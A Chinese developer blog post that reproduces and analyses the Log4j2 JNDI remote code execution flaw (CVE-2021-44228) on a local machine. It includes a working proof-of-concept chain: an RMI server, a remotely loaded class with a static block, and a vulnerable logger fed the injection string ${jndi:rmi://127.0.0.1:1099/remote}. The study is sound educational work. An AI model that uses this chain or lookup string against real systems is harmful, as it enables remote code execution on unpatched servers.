您好!
欢迎来到京东云开发者社区
登录
首页
博文
课程
大赛
工具
用户中心
开源
首页
博文
课程
大赛
工具
开源
更多
用户中心
开发者社区
>
博文
>
Log4j2远程执行代码漏洞本地重现及分析
分享
打开微信扫码分享
点击前往QQ分享
点击前往微博分享
点击复制链接
Log4j2远程执行代码漏洞本地重现及分析
自猿其说Tech
2021-12-16
IP归属:未知
35560浏览
计算机编程
### 1 时间线 - 2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。 - 2021年12月9日,阿里云安全团队发布 Apache Log4j2 远程代码执行漏洞(CVE-2021-44228) 安全通告 - 2021年12月10日,阿里云安全团队发现绕过,更新建议修复版本为 Apache Log4j 2.15.0 及其以上。 - 2021年12月15日,阿里云安全团队更新安全建议,新增 Apache Log4j 2.12.2 安全版本。 其次还有漏洞描述、漏洞评级、影响版本、安全建议等等,详情请看https://help.aliyun.com/noticelist/articleid/1060971232.html ### 2 本地复现 我们本地启用两个项目,看看代码是怎么实现远程侵入的。首先环境准备:这里没有使用tomcat作为web容器启动,而是使用nginx作为服务器发布的本地代码,所以需要nginx,两个java工程(都是main方法启动即可,也不需要springboot)。 #### 2.1 项目一 这个项目就好比黑客本地搭载入侵的服务 ##### 2.1.1 pom文件 jdk版本无要求 ```xml <groupId>com.example</groupId> <artifactId>demo</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>6</maven.compiler.source> <maven.compiler.target>6</maven.compiler.target> </properties> ``` ##### 2.1.2 主方法 ```java import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; /** * @author : * @version V1.0 * @Project: demo * @Package PACKAGE_NAME * @Description: TODO * @date Date : 2021年12月14日 17:24 */ public class RMIServer { public static void main(String[] args) { try { LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); System.out.println("Create RMI Server on port 1099"); Reference reference = new Reference("RemoteObj", "RemoteObj", "http://127.0.0.1:80/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("remote", referenceWrapper); } catch (Exception e) { e.printStackTrace(); } } } ``` ##### 2.1.3 实操类 简单模拟,主要是一个静态块,这里实现ObjectFactory接口,主要是为了实现getObjectInstance方法,方法的意义是指定返回的实体,这里返回"**我是远程类**"的字符串。 ```java import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; /** * @author : * @version V1.0 * @Project: demo * @Package PACKAGE_NAME * @Description: TODO * @date Date : 2021年12月14日 16:10 */ public class RemoteObj implements ObjectFactory{ static { System.out.println("嘿嘿,想不到吧"); } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return "我是远程类"; } } ``` ##### 2.1.4 启用服务 到这里项目一的代码就完事了,之后启动main方法。 ![](//img1.jcloudcs.com/developer.jdcloud.com/cb89c3ca-d35a-4dcb-8b07-e3ab17e72b4b20211216145709.png) 是不是很简单,但是因为咱们得启动服务,所以需要启动nginx(默认配置),浏览器访问一下127.0.0.1是不是好使。 ![](//img1.jcloudcs.com/developer.jdcloud.com/da5c241b-af79-4210-b52a-13f4dc4132b420211216145722.png) 然后把编译后的class放到html中 ![](//img1.jcloudcs.com/developer.jdcloud.com/eb812104-0670-48c7-b1da-8c687f72032b20211216145740.png) #### 2.2 项目二 相对来说项目二就更简单了 ##### 2.2.1 pom文件 这里jdk采用1.6版本,log4j-core使用2.1版本 ```xml <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.1</version> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>3.1</version> <configuration> <source>1.6</source> <target>1.6</target> </configuration> </plugin> </plugins> </build> ``` ##### 2.2.2 log4j2.xml 既然测试log4j,肯定也需要配置下xml日志 ```xml <?xml version="1.0" encoding="UTF-8"?> <Configuration> <Appenders> <Console name="console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> </Console> </Appenders> <Loggers> <Logger name="com.example" level="INFO"/> <Root level="error"> <AppenderRef ref="console"/> </Root> </Loggers> </Configuration> ``` ##### 2.2.3 Log4jTest.java ```java package com.example; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import java.io.IOException; public class Log4jTest { private static final Logger LOGGER = LogManager.getLogger(); public static void main(String[] args) throws IOException, NamingException { /* Context context = new InitialContext(); context.lookup("rmi://127.0.0.1:1099/remote");*/ LOGGER.info("Hello, {}", "${jndi:rmi://127.0.0.1:1099/remote}"); } } ``` ##### 2.2.4 启动 ![](//img1.jcloudcs.com/developer.jdcloud.com/0eda63d6-e0bb-4e98-b90b-87aa5d99f33d20211216150037.png) 这段话是我第一个项目的,这就完成了入侵。 ### 3 源码跟踪分析 这个漏洞的原因呢,网上的资料一大堆,主要是跟一个JNDI的东西相关,咱们后续再解释这个名词,先追踪下源码,看log4j如何解析jndi:rmi://127.0.0.1:1099/remote 这个字符串的。追踪源码无非是debug,一步步深入下去,这里就不再一一截图了,只挑选几个关键的入口类。 首先是org.apache.logging.log4j.core.config.LoggerConfig#log方法的this.callAppenders(event),之后的org.apache.logging.log4j.core.config.AppenderControl#callAppender方法,可以看到组装了LogEvent对象,里面有message字段 ![](//img1.jcloudcs.com/developer.jdcloud.com/fef8179c-eee5-4c2a-9cdd-f435b3f709ec20211216150115.png) 之后到org.apache.logging.log4j.core.pattern.MessagePatternConverter#format ![](//img1.jcloudcs.com/developer.jdcloud.com/a63e2179-b8db-419c-98d4-f769c02702f020211216150131.png) 再之后 org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable,log里会解析下面这些前缀的地址,咱们这里是jndi ![](//img1.jcloudcs.com/developer.jdcloud.com/abc08674-094c-4d9e-9312-e4c7b7ecf32420211216150147.png) 再然后org.apache.logging.log4j.core.lookup.Interpolator#lookup ![](//img1.jcloudcs.com/developer.jdcloud.com/bedd21a6-9990-41fa-b833-476e95092b0620211216150208.png) 这里最终解析到了远程对象,并且将对象转换成了String ![](//img1.jcloudcs.com/developer.jdcloud.com/f3da7aa4-8788-455f-8348-db5b35b72d4a20211216150222.png) 返回的对象:"我是远程类" ![](//img1.jcloudcs.com/developer.jdcloud.com/597268db-fdb2-4856-8ee6-376f618dfd6820211216150242.png) ### 4 JNDI JNDI,名为Java 命名与目录接口(Java Naming and Directory Interface),网上的解释很多,我就不复述一遍了,我个人的简单理解:命名服务是将名称和对象联系起来,并通过名称找到对象,类比于spring容器,根据bean的id就可以找到bean类,只不过spring只能在当前容器内查找而已。犹记得第一次在weblogic部署项目的场景,使用的oracle数据库直接在weblogic的页面上配置,历历在目呀。当然了,除了命名目录本身的概念,外延包括命名规范,名称绑定,上下文等。比如spring提供的Application Context,Java Context, 都提供了命名,绑定,通过名称找到对象,列出所有绑定对象的名称这些操作 ### 5 参考 1. https://help.aliyun.com/noticelist/articleid/1060971232.html 1. https://docs.oracle.com/javase/tutorial/jndi/concepts/index.html 1. https://www.cnblogs.com/xuehao/p/15684159.html ------------ ###### 自猿其说Tech-京东物流技术发展部 ###### 作者:曹志星
原创文章,需联系作者,授权转载
上一篇:详解Java对象模型Oop-Klass
下一篇:让我们加班加点升级的Log4j2漏洞,到底是个啥?
相关文章
Taro小程序跨端开发入门实战
Flutter For Web实践
配运基础数据缓存瘦身实践
自猿其说Tech
文章数
426
阅读量
2149964
作者其他文章
01
深入JDK中的Optional
本文将从Optional所解决的问题开始,逐层解剖,由浅入深,文中会出现Optioanl方法之间的对比,实践,误用情况分析,优缺点等。与大家一起,对这项Java8中的新特性,进行理解和深入。
01
Taro小程序跨端开发入门实战
为了让小程序开发更简单,更高效,我们采用 Taro 作为首选框架,我们将使用 Taro 的实践经验整理了出来,主要内容围绕着什么是 Taro,为什么用 Taro,以及 Taro 如何使用(正确使用的姿势),还有 Taro 背后的一些设计思想来进行展开,让大家能够对 Taro 有个完整的认识。
01
Flutter For Web实践
Flutter For Web 已经发布一年多时间,它的发布意味着我们可以真正地使用一套代码、一套资源部署整个大前端系统(包括:iOS、Android、Web)。渠道研发组经过一段时间的探索,使用Flutter For Web技术开发了移动端可视化编程平台—Flutter乐高,在这里希望和大家分享下使用Flutter For Web实践过程和踩坑实践
01
配运基础数据缓存瘦身实践
在基础数据的常规能力当中,数据的存取是最基础也是最重要的能力,为了整体提高数据的读取能力,缓存技术在基础数据的场景中得到了广泛的使用,下面会重点展示一下配运组近期针对数据缓存做的瘦身实践。
自猿其说Tech
文章数
426
阅读量
2149964
作者其他文章
01
深入JDK中的Optional
01
Taro小程序跨端开发入门实战
01
Flutter For Web实践
01
配运基础数据缓存瘦身实践
添加企业微信
获取1V1专业服务
扫码关注
京东云开发者公众号